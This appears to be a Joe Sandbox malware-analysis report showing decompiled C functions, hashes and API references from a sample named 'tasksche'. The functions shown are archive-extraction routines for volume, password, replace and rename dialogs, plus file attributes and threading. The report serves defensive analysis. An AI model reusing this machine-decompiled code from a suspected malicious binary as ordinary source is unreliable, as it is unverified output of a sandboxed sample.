Opcode ID: 0d48e13bb8a277f6458225f363c78ec795d6fd62086fd03c94a99887370c8703
Instruction ID: b2eea235d821e150737843ebb12b5e68f22e0a3d12c725fcd3f3b3fef6346f43
Opcode Fuzzy Hash: 0d48e13bb8a277f6458225f363c78ec795d6fd62086fd03c94a99887370c8703
Instruction Fuzzy Hash: 92E1BF71A007499FCB10EF65C980BEEB7B1FF14304F11482EE956A7281DB39E991CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00418B3D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00418B3D(intOrPtr __edx, intOrPtr* _a4, char _a7, signed int _a8, char _a11, short _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v4120;
				char _v8216;
				void* __ebx;
				void* __ebp;
				intOrPtr _t93;
				intOrPtr _t107;
				signed int _t116;
				signed int _t123;
				intOrPtr _t137;
				signed int _t150;
				intOrPtr _t151;
				intOrPtr* _t157;
				intOrPtr* _t166;
				intOrPtr _t178;
				intOrPtr _t180;
				signed int _t183;
				intOrPtr _t184;
				intOrPtr* _t187;
				void* _t188;

				_t178 = __edx;
				E0041AAF0(0x2014);
				_t187 = _a4;
				_v12 =  *((intOrPtr*)(_t187 + 0x6524));
				_t93 =  *((intOrPtr*)(_t187 + 0x6544));
				_v16 = _t93;
				if(_t93 != 3) {
					_t151 = _t187 + 0x65e8;
					_v8 = _t151;
					_t180 = _t151;
					__eflags = _t93 - 2;
					if(__eflags != 0) {
						L4:
						_a7 = 0;
						L5:
						_t150 = _a8;
						if(_t150 == 0 || _a7 == 0) {
							L12:
							_v24 =  *((intOrPtr*)( *_t187 + 0x10))();
							_v20 = _t178;
							if(_t150 != 0) {
								 *((intOrPtr*)(_t150 + 0x21f8)) =  *((intOrPtr*)(_t150 + 0x21f8)) + E00408E03(_t187, _t178);
								asm("adc [edi+0x4], edx");
							}
							E00408A32(_t187);
							E0040A8A1( &_v4120, 0x800, (E0041A7F7( &_v4120, _t187 + 0x1e) & 0xffffff00 |  *((char*)(_t187 + 0xb05a)) == 0x00000000) & 0x000000ff);
							asm("sbb edi, edi");
							_a11 = 0;
							_t183 =  ~( *(_v12 + 0x5195) & 0x000000ff) & 0x00000004;
							while(1) {
								_push(_t183);
								_push( &_v4120);
								_t157 = _t187;
								if( *((intOrPtr*)( *_t187 + 4))() != 0) {
									break;
								}
								__eflags = _t150;
								if(_t150 != 0) {
									 *(_t150 + 0x2200) =  *(_t150 + 0x2200) & 0x00000000;
									_t38 = _t150 + 0x2204;
									 *_t38 =  *(_t150 + 0x2204) & 0x00000000;
									__eflags =  *_t38;
								}
								__eflags = _a11;
								if(_a11 != 0) {
									L19:
									_t107 = _v12;
									__eflags =  *((char*)(_t107 + 0x517c));
									if( *((char*)(_t107 + 0x517c)) != 0) {
										L25:
										E00406376(0x44,  &_v4120);
										 *((intOrPtr*)( *_t187 + 4))(_t187 + 0x1e, _t183);
										 *((intOrPtr*)( *_t187 + 0xc))(_v24, _v20, 0);
										return 0;
									}
									_t116 = L00411987(_t157,  &_v4120, 0x800);
									__eflags = _t116;
									if(_t116 == 0) {
										goto L25;
									}
									continue;
								} else {
									E0041A7F7( &_v8216, _t187 + 0x1e);
									E0040A8A1( &_v8216, 0x800, 1);
									_t157 = _t187;
									_a11 = 1;
									_t123 =  *((intOrPtr*)( *_t187 + 4))( &_v8216, _t183);
									__eflags = _t123;
									if(_t123 != 0) {
										E0041A7F7( &_v4120,  &_v8216);
										break;
									}
									goto L19;
								}
							}
							E004116C9((_t187 + 0x0000001e & 0xffffff00 | _a16 != 0x00000054) & 0x000000ff, (_t187 + 0x0000001e & 0xffffff00 | _a16 != 0x00000054) & 0x000000ff, _t187 + 0x1e);
							E004019E7(_t187, _t178, _t188, _a16 - 0x54, 1);
							_t202 = _a7;
							_t166 = _t187;
							if(_a7 == 0) {
								E0040369F(_t178, _t188);
							} else {
								E0040370E(_t166, _t178, _t202, _v16);
							}
							if( *((intOrPtr*)(_t187 + 0x6544)) == 2) {
								E00401A5C(_t187);
								_t178 =  *((intOrPtr*)(_t187 + 0xb04c));
								asm("sbb edx, [esi+0x7634]");
								 *((intOrPtr*)( *_t187 + 0xc))( *((intOrPtr*)(_t187 + 0xb048)) -  *((intOrPtr*)(_t187 + 0x7630)), _t178, 0);
							}
							if(_t150 != 0) {
								_t184 = _v8;
								if(_v16 != 5) {
									 *((char*)(_t150 + 0x21c7)) =  *((intOrPtr*)(_t184 + 0x1089));
									 *((intOrPtr*)(_t150 + 0x20)) =  *((intOrPtr*)(_t184 + 0x1048));
									 *((intOrPtr*)(_t150 + 0x24)) =  *((intOrPtr*)(_t184 + 0x104c));
								} else {
									 *((char*)(_t150 + 0x21c7)) = 0;
								}
								_t137 = E00408E03(_t187, _t178);
								 *(_t150 + 0x21e8) =  *(_t150 + 0x21e8) & 0x00000000;
								 *(_t150 + 0x21ec) =  *(_t150 + 0x21ec) & 0x00000000;
								 *((intOrPtr*)(_t150 + 0x21d0)) = _t137;
								 *((intOrPtr*)(_t150 + 0x21d4)) = _t178;
								E00409885(_t150 + 0x2208,  *((intOrPtr*)(_t184 + 0x1060)),  *((intOrPtr*)(_v12 + 0x7298)));
							}
							return 1;
						} else {
							if( *((intOrPtr*)(_t187 + 0xb050)) == 3) {
								L10:
								asm("sbb ecx, ecx");
								if(E00409AE9(_t150, _t150 + 0x2208, _t178, _t195, _t180 + 0x1060,  ~( *(_t180 + 0x10ba) & 0x000000ff) & _t180 + 0x000010bb) == 0) {
									E0040639F(5, _t187 + 0x1e, _t180 + 0x20);
								}
								goto L12;
							}
							if( *((char*)(_t180 + 0x19)) < 0x14) {
								goto L12;
							}
							_t195 =  *((intOrPtr*)(_t180 + 0x1064)) - 0xffffffff;
							if( *((intOrPtr*)(_t180 + 0x1064)) == 0xffffffff) {
								goto L12;
							}
							goto L10;
						}
					}
					L3:
					_a7 = 1;
					if( *((char*)(_t180 + 0x1089)) != 0) {
						goto L5;
					}
					goto L4;
				}
				_t180 = _t187 + 0x8928;
				_v8 = _t180;
				goto L3;
			}

APIs

_wcscpy.LIBCMT ref: 00418C26
_wcscpy.LIBCMT ref: 00418C86
_wcscpy.LIBCMT ref: 00418D2D

Strings

T, xrefs: 00418CEF

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy
String ID: T
API String ID: 3048848545-3187964512
Opcode ID: 7b9b9af83664cc87fe2d3df4d2851bf5f64a8acbd8ca5ef161931a2b21923617
Instruction ID: 08ee224434b4342d1c159c2c22343cdeaadf414e9d08c0d11a019e9d32988bbe
Opcode Fuzzy Hash: 7b9b9af83664cc87fe2d3df4d2851bf5f64a8acbd8ca5ef161931a2b21923617
Instruction Fuzzy Hash: 99910871600744AFDF24DF64C884BEAB7F8AF15304F0445AFE95997282CB78AAC4CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00406D02 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127
timeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00406D02(void* __edx) {
				void* __ebx;
				void* __edi;
				void* _t46;
				signed int _t56;
				signed int _t59;
				void* _t63;
				signed int _t64;
				signed int _t70;
				void* _t96;
				intOrPtr* _t101;
				void* _t103;

				_t96 = __edx;
				E0041A4DC(E00429658, _t103);
				E0041AAF0(0x5094);
				_t101 =  *((intOrPtr*)(_t103 + 0xc));
				if( *_t101 == 0 ||  *((intOrPtr*)(_t101 + 2)) != 0) {
					_push(0x802);
					_t46 = _t103 - 0x307c;
				} else {
					E0041A7F7(_t103 - 0x307c, L".\\");
					_push(0x800);
					_t46 = _t103 - 0x3078;
				}
				_push(_t101);
				_push(_t46);
				E00410B9C();
				E004066DA(0, 0x802,  *((intOrPtr*)(_t103 + 8)), _t103 - 0x407c, 0x800);
				if( *((short*)(_t103 - 0x407c)) == 0x3a) {
					__eflags =  *(_t103 + 0x10);
					if(__eflags == 0) {
						E00410BC9(__eflags, _t103 - 0x307c, _t103 - 0x407c, 0x802);
						E004067E1(_t103 - 0x2078);
						_push(0);
						 *(_t103 + 0x13) = E004096BC(_t96, _t101, _t103 - 0x2078);
						_t56 =  *(_t103 - 0x1070);
						__eflags = _t56 & 0x00000001;
						if((_t56 & 0x00000001) != 0) {
							_t72 = _t56 & 0xfffffffe;
							__eflags = _t56 & 0xfffffffe;
							E0040908D(_t101, _t72);
						}
						E00408786(_t103 - 0x1030);
						 *(_t103 - 4) = 0;
						_t59 = E00408A0A(_t103 - 0x1030, __eflags, _t103 - 0x307c, 0x11);
						__eflags = _t59;
						if(_t59 != 0) {
							_push(_t103 - 0x1030);
							_push(0);
							_t70 = E00402C8B( *((intOrPtr*)(_t103 + 8)), _t96);
							__eflags = _t70;
							if(_t70 != 0) {
								E00408A32(_t103 - 0x1030);
							}
						}
						E00408786(_t103 - 0x50a0);
						 *(_t103 - 4) = 1;
						__eflags =  *(_t103 + 0x13);
						if( *(_t103 + 0x13) != 0) {
							_push(5);
							_push(_t101);
							_t64 = E004087C3(_t103 - 0x50a0);
							__eflags = _t64;
							if(_t64 != 0) {
								SetFileTime( *(_t103 - 0x509c), _t103 - 0x1050, _t103 - 0x1048, _t103 - 0x1040);
							}
						}
						E0040908D(_t101,  *(_t103 - 0x1070));
						 *(_t103 - 4) = 0;
						E00408C7D(0, _t103 - 0x50a0);
						_t38 = _t103 - 4;
						 *_t38 =  *(_t103 - 4) | 0xffffffff;
						__eflags =  *_t38;
						_t63 = E00408C7D(0, _t103 - 0x1030);
					} else {
						_push(0);
						_push(0);
						_t63 = E00402C8B( *((intOrPtr*)(_t103 + 8)), _t96);
					}
				} else {
					E0040639F(0x50,  *((intOrPtr*)(_t103 + 8)) + 0x1e, _t101);
					_t63 = E004062BA(0x4335ac, 3);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
				return _t63;
			}

APIs

__EH_prolog.LIBCMT ref: 00406D07
_wcscpy.LIBCMT ref: 00406D3A

Part of subcall function 00410BC9: _wcslen.LIBCMT ref: 00410BCF
Part of subcall function 00410BC9: _wcsncat.LIBCMT ref: 00410BE8

SetFileTime.KERNEL32(?,?,?,?,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000), ref: 00406E78

Part of subcall function 0040908D: SetFileAttributesW.KERNEL32(00000000,00000000,76F1F790,00000001,?,0040933D,00000000,?,?,0040941E,?,00000001,00000000,?,?), ref: 004090A8
Part of subcall function 0040908D: SetFileAttributesW.KERNEL32(?,00000000,00000000,?,00000800,?,0040933D,00000000,?,?,0040941E,?,00000001,00000000,?,?), ref: 004090D5

Strings

:, xrefs: 00406D70

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File$Attributes$H_prologTime_wcscpy_wcslen_wcsncat
String ID: :
API String ID: 326910402-336475711
Opcode ID: 5e0e7d49851dca55c4deade094d134f4ea512213999111766949daa2ff960fa4
Instruction ID: 6639f4f99703ce1112f5787d69d8c123706ab186ca62756c3ad703d048bc38cc
Opcode Fuzzy Hash: 5e0e7d49851dca55c4deade094d134f4ea512213999111766949daa2ff960fa4
Instruction Fuzzy Hash: D0417F71905258AAEB20EB64CC55EEE737CAF04344F0040ABB556B71C2DB78AF94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D53E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040D53E(void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR** _a16) {
				void* _t12;
				void* _t17;
				void* _t21;
				void* _t24;
				void* _t27;
				void* _t29;
				struct HWND__* _t31;
				WCHAR** _t32;

				_t32 = _a16;
				_t31 = _a4;
				if(E004060EE(__edx, _t31, _a8, _a12, _t32, L"ASKNEXTVOL", 0, 0) != 0) {
					L14:
					__eflags = 1;
					return 1;
				}
				_t12 = _a8 - 0x110;
				if(_t12 == 0) {
					_push( *_t32);
					 *0x44cf2c = _t32;
					L13:
					SetDlgItemTextW(_t31, 0x65, ??);
					goto L14;
				}
				if(_t12 != 1) {
					L6:
					return 0;
				}
				_t17 = (_a12 & 0x0000ffff) - 1;
				if(_t17 == 0) {
					GetDlgItemTextW(_t31, 0x65,  *( *0x44cf2c), ( *0x44cf2c)[1]);
					_push(1);
					L10:
					EndDialog(_t31, ??);
					goto L14;
				}
				_t21 = _t17 - 1;
				if(_t21 == 0) {
					_push(0);
					goto L10;
				}
				if(_t21 == 0x64) {
					_t24 = E0040A5DB(__eflags,  *( *0x44cf2c));
					_t27 = E00405164(_t29, _t31, E0040C3BF(0x8e),  *( *0x44cf2c), _t24, 0);
					__eflags = _t27;
					if(_t27 == 0) {
						goto L14;
					}
					_push( *( *0x44cf2c));
					goto L13;
				}
				goto L6;
			}

0x0040d542
0x0040d546
0x0040d561
0x0040d5ee
0x0040d5f0
0x00000000
0x0040d5f0
0x0040d56a
0x0040d56f
0x0040d5dd
0x0040d5df
0x0040d5e5
0x0040d5e8
0x00000000
0x0040d5e8
0x0040d572
0x0040d583
0x00000000
0x0040d583
0x0040d578
0x0040d579
0x0040d5d3
0x0040d5d9
0x0040d5bd
0x0040d5be
0x00000000
0x0040d5be
0x0040d57b
0x0040d57c
0x0040d5bb
0x00000000
0x0040d5bb
0x0040d581
0x0040d590
0x0040d5a9
0x0040d5ae
0x0040d5b0
0x00000000
0x00000000
0x0040d5b7
0x00000000
0x0040d5b7
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D5BE
GetDlgItemTextW.USER32 ref: 0040D5D3
SetDlgItemTextW.USER32 ref: 0040D5E8

Strings

ASKNEXTVOL, xrefs: 0040D54D

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: ASKNEXTVOL
API String ID: 1770891597-3402441367
Opcode ID: a8a6f44b6775d0cd3294368f2a4b23b4347bfb04fbb05bfaf2c83a68a4392c99
Instruction ID: 7c41b1936654f57e10877f1e9afce92132798bffb5e44c1de30f76ec9c95968c
Opcode Fuzzy Hash: a8a6f44b6775d0cd3294368f2a4b23b4347bfb04fbb05bfaf2c83a68a4392c99
Instruction Fuzzy Hash: 23118135600104BBDB219FA49C45F663775EB0A718F044036FE01FA1E0D77AD825AB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041254D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0041254D(intOrPtr __ecx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v28;
				void* __ebx;
				void* __edi;
				intOrPtr _t25;
				signed int _t30;
				signed int _t31;
				intOrPtr _t35;
				signed int _t40;
				void* _t41;
				signed int _t42;
				signed int _t46;
				signed int _t47;
				unsigned int _t48;
				void* _t51;

				_v16 = __ecx;
				_t25 = E0041252C(__ecx);
				_t47 = 0;
				_v8 = 0;
				if(_a4 <= 0) {
					return _t25;
				}
				_push(_t35);
				_push(_t48);
				do {
					if(_v8 >= 0x20) {
						if(_t47 < _a4) {
							L8:
							E0041216A( &_v28);
							E0041C77F( &_v28, 0x42d504);
							goto L9;
						}
						L12:
						return _t25;
					}
					_t48 = _a4 - _t47;
					_t41 = 0x20;
					_t42 = _t41 - _v8;
					_t30 = _t48;
					_t31 = _t30 / _t42;
					_t46 = _t30 % _t42;
					_v12 = _t31;
					if(_t31 <= 0x400000) {
						_v12 = 0x400000;
					}
					while(_t48 >= _v12) {
						_t35 = E0041CF3E(_t35, _t46, _t47, _t48);
						if(_t35 != 0) {
							goto L9;
						}
						_t48 = _t48 - (_t48 >> 5);
					}
					goto L8;
					L9:
					E0041A820(_t47, _t35, 0, _t48);
					_t25 = _v16;
					_t40 = _v8 << 2;
					_t47 = _t47 + _t48;
					_t51 = _t51 + 0xc;
					_v8 = _v8 + 1;
					 *((intOrPtr*)(_t40 + _t25)) = _t35;
					 *((intOrPtr*)(_t40 + _t25 + 0x80)) = _t47;
				} while (_t47 < _a4);
				goto L12;
			}

APIs

__CxxThrowException@8.LIBCMT ref: 004125BE
_memset.LIBCMT ref: 004125C7

Strings

, xrefs: 0041256C

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Exception@8Throw_memset
String ID:
API String ID: 3963884845-3916222277
Opcode ID: 653566bfccebebc550ca30b6af37db387d4266e4fa5bc9fcb69beb97700c845e
Instruction ID: ba4e6bc0ef6041dd665025fb65f45a384477b48ee7e133f8ed84bbd0a598a512
Opcode Fuzzy Hash: 653566bfccebebc550ca30b6af37db387d4266e4fa5bc9fcb69beb97700c845e
Instruction Fuzzy Hash: 60110671E01218BACB14EFA9CAD55DEB776FF54344F10406BE405E7241D6B85BD2CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0040D477 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040D477(void* __ebx, void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				short _v260;
				void* _t15;
				void* _t20;
				struct HWND__* _t33;

				_t33 = _a4;
				if(E004060EE(__edx, _t33, _a8, _a12, _a16, L"GETPASSWORD1", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t15 = _a8 - 0x110;
				if(_t15 == 0) {
					SetDlgItemTextW(_t33, 0x66, _a16);
					goto L10;
				}
				if(_t15 != 1) {
					L5:
					return 0;
				}
				_t20 = (_a12 & 0x0000ffff) - 1;
				if(_t20 == 0) {
					GetDlgItemTextW(_t33, 0x65,  &_v260, 0x80);
					E0040D033(__ebx, 0x44ce20,  &_v260);
					E0040CFA3( &_v260, 0x80);
					_push(1);
					L7:
					EndDialog(_t33, ??);
					goto L10;
				}
				if(_t20 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0040d482
0x0040d49f
0x0040d50a
0x00000000
0x0040d50c
0x0040d4a4
0x0040d4a9
0x0040d504
0x00000000
0x0040d504
0x0040d4ac
0x0040d4b8
0x00000000
0x0040d4b8
0x0040d4b2
0x0040d4b3
0x0040d4d6
0x0040d4e8
0x0040d4f5
0x0040d4fa
0x0040d4bd
0x0040d4be
0x00000000
0x0040d4be
0x0040d4b6
0x0040d4bc
0x00000000
0x0040d4bc
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D4BE
GetDlgItemTextW.USER32 ref: 0040D4D6
SetDlgItemTextW.USER32 ref: 0040D504

Strings

GETPASSWORD1, xrefs: 0040D489

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: GETPASSWORD1
API String ID: 1770891597-3292211884
Opcode ID: 2c39065e7e84a8441d2400259efe6a077f35be0b7a0eee454e8495a0c984ab02
Instruction ID: 3eed9e1ab7e5d8a1da33783b11a95132ac7616313df89bdc2d2bc64375715bf5
Opcode Fuzzy Hash: 2c39065e7e84a8441d2400259efe6a077f35be0b7a0eee454e8495a0c984ab02
Instruction Fuzzy Hash: 4F11CE329001187ADB219FA1AC44EFB3A6DEF59754F404036FD05B20D0C67CD96A96AA

Uniqueness

Uniqueness Score: -1.00%

Function 00410F29 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00410F29(long* __ecx, long _a4) {
				long _t11;
				void* _t14;
				long _t23;
				long* _t25;

				_t19 = __ecx;
				_t11 = _a4;
				_t23 = 0x20;
				_t25 = __ecx;
				 *__ecx = _t11;
				if(_t11 > _t23) {
					 *__ecx = _t23;
				}
				if( *_t25 == 0) {
					 *_t25 = 1;
				}
				_t25[0x21] = 0;
				if( *_t25 > _t23) {
					 *_t25 = _t23;
				}
				_t3 =  &(_t25[0x68]); // 0x1a0
				_t25[0x65] = 0;
				InitializeCriticalSection(_t3);
				_t25[0x66] = CreateSemaphoreW(0, 0, _t23, 0);
				_t14 = CreateEventW(0, 1, 1, 0);
				_t25[0x67] = _t14;
				if(_t25[0x66] == 0 || _t14 == 0) {
					_push(L"\nThread pool initialization failed.");
					_push(0x4335ac);
					E00406423(_t19);
					E00406371(0x4335ac, 2);
				}
				_t25[0x63] = 0;
				_t25[0x64] = 0;
				_t25[0x22] = 0;
				return _t25;
			}

0x00410f29
0x00410f29
0x00410f32
0x00410f33
0x00410f35
0x00410f39
0x00410f3b
0x00410f3b
0x00410f41
0x00410f43
0x00410f43
0x00410f49
0x00410f51
0x00410f53
0x00410f53
0x00410f55
0x00410f5c
0x00410f62
0x00410f78
0x00410f7e
0x00410f84
0x00410f90
0x00410f96
0x00410fa0
0x00410fa1
0x00410fac
0x00410fac
0x00410fb2
0x00410fb8
0x00410fbe
0x00410fc8

APIs

InitializeCriticalSection.KERNEL32(000001A0,?,000001B8,0044F590,004110EE,00000020,?,00409901,?,?,?,0040BB60,?,?,00000000,?), ref: 00410F62
CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F6C
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F7E

Strings

Thread pool initialization failed., xrefs: 00410F96

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 5d2de00027b14f6e07390935bc826641c20494178e34cc3b56ee4834533d8747
Instruction ID: 3f206ddc5264aa259e24750db78c3e6b08f6c9018291aa2998b68a3e9789e537
Opcode Fuzzy Hash: 5d2de00027b14f6e07390935bc826641c20494178e34cc3b56ee4834533d8747
Instruction Fuzzy Hash: FF115EB1600301AFD3305F659886BE7BBE8FB55315F60482FF6DAC6240D6B458C1CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0040E6CF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E6CF(long _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				long _v0;
				WCHAR* _t16;
				int _t19;
				_Unknown_base(*)()* _t25;

				 *0x441828 = _a12;
				 *0x44182c = _a16;
				 *0x441824 = _a20;
				if( *0x441830 == 0) {
					if( *0x441831 == 0) {
						_t25 = E0040DE5E;
						_t16 = L"REPLACEFILEDLG";
						while(1) {
							_t19 = DialogBoxParamW( *0x4335a4, _t16,  *0x441844, _t25, _a4);
							if(_t19 != 4) {
								break;
							}
							if(DialogBoxParamW( *0x4335a8, L"RENAMEDLG",  *0x441840, E0040D3EE, _v0) != 0) {
								break;
							}
						}
						return _t19;
					}
					return 1;
				}
				return 0;
			}

0x0040e6da
0x0040e6e3
0x0040e6ec
0x0040e6f1
0x0040e6fe
0x0040e70f
0x0040e714
0x0040e73b
0x0040e74f
0x0040e754
0x00000000
0x00000000
0x0040e739
0x00000000
0x00000000
0x0040e739
0x00000000
0x0040e75b
0x00000000
0x0040e702
0x00000000

Strings

RENAMEDLG, xrefs: 0040E72A
REPLACEFILEDLG, xrefs: 0040E714, 0040E746

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 9dc2c4e2a994375845b1e54b9a4a57574d7f38f83bee2a11927b5ffac3eaf025
Instruction ID: 0892b1485419df81b4422e2148389c4265d0283c5dc75372e36aae0ff2247616
Opcode Fuzzy Hash: 9dc2c4e2a994375845b1e54b9a4a57574d7f38f83bee2a11927b5ffac3eaf025
Instruction Fuzzy Hash: AF017576604204BFC712AB55EC44A167BD5E74A751F040837F901E32B0D3764865DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0041E132 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 28%

			E0041E132(void* __ebx, void* __ecx, void* __edx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E0041E0A0(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				E0041A12E(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				E0041DB1D(_t22, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_push(_t27);
				_push(_a4);
				_t20 = E0041DD85(_t22,  *((intOrPtr*)(_t22 + 0xc)), _t25, _t26, _t27, _t31);
				if(_t20 != 0) {
					E0041A0F5(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

APIs

___BuildCatchObject.LIBCMT ref: 0041E145

Part of subcall function 0041E0A0: ___BuildCatchObjectHelper.LIBCMT ref: 0041E0D6

_UnwindNestedFrames.LIBCMT ref: 0041E15C
___FrameUnwindToState.LIBCMT ref: 0041E16A

Strings

csm, xrefs: 0041E141, 0041E156, 0041E169, 0041E187, 0041E197

Memory Dump Source

